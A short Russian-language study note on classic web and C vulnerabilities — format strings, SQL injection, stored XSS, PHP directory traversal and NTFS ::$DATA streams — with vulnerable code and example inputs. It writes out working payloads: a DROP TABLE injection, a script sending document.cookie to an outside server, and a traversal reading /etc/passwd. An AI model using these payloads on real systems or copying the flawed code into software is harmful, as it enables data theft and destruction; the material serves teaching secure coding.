Пример printf (неконтролируемая строка):
void someFn(char *userInput){
printf(userInput);
}
вместо
void someFn(char *userInput){
printf("%s", userInput);
}
В итоге, если в строку вписать
%x - вывод значений (dword) из стека, а %n - запись в память по адресу из стека
SQL - инъекция
statement = "SELECT * FROM users WHERE name='"+userName+"';";
если в userName = "' or '1'='1", то вернутся все строки. Или так:
userName= "';DROP table users; SELECT * FROM userinfo WHERE 't'='t";
Инъекция кода JS
Например, пользователь может ввести (например, в гостевую книгу) такой текст:
Just a message <script>
document.location="http://some_server/cookie.php?"+document.cookie</script>
Если не раздумывая вставлять текст в страницу, то все люди будут перенаправляться на другой адрес, сливая все свои куки с исходного сайта.
Directory traversal
Выход за пределы папки:
<?php
$template = "red.php";
if (isset($_COOKIE["TEMPLATE"])){
$template = $_COOKIE["TEMPLATE"];
}
include ("/home/users/php/templates/" . $template);
?>
Если передать в куках TEMPLATE = ../../../../../../../../../etc/passwd и вернет пароль от сервера.
Альтернативные имена файлов (потоки) NTFS
void process (char *filename){
int cbName = strlen(filename);
if (cbName>4 &&
0 == strcmp(filename+cbName - 4, ".asp")){
/* обрабатываем как скрипт */
}else{
/* обрабатываем как текстовый файл */
}
}
Если имя файла заканчивается на :$DATA, то вернется текст скрипта, т.к. $DATA - это главный поток файла.
Комментарии